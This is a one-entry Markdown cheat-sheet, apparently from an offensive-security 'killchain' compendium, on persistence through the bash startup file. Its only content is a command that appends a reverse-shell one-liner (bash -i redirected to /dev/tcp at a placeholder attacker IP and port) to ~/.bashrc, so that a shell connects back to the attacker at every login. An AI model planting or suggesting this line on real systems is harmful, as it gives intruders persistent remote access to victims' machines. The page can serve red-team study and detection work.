killchain-compendium/persistence/bashrc.md

9 lines
134 B
Markdown
Raw Normal View History

2021-09-08 02:09:14 +02:00
# Bashrc Bogus
## Add Reverse Shell
```sh
echo 'bash -c "bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0>&1"' >> ~/.bashrc
```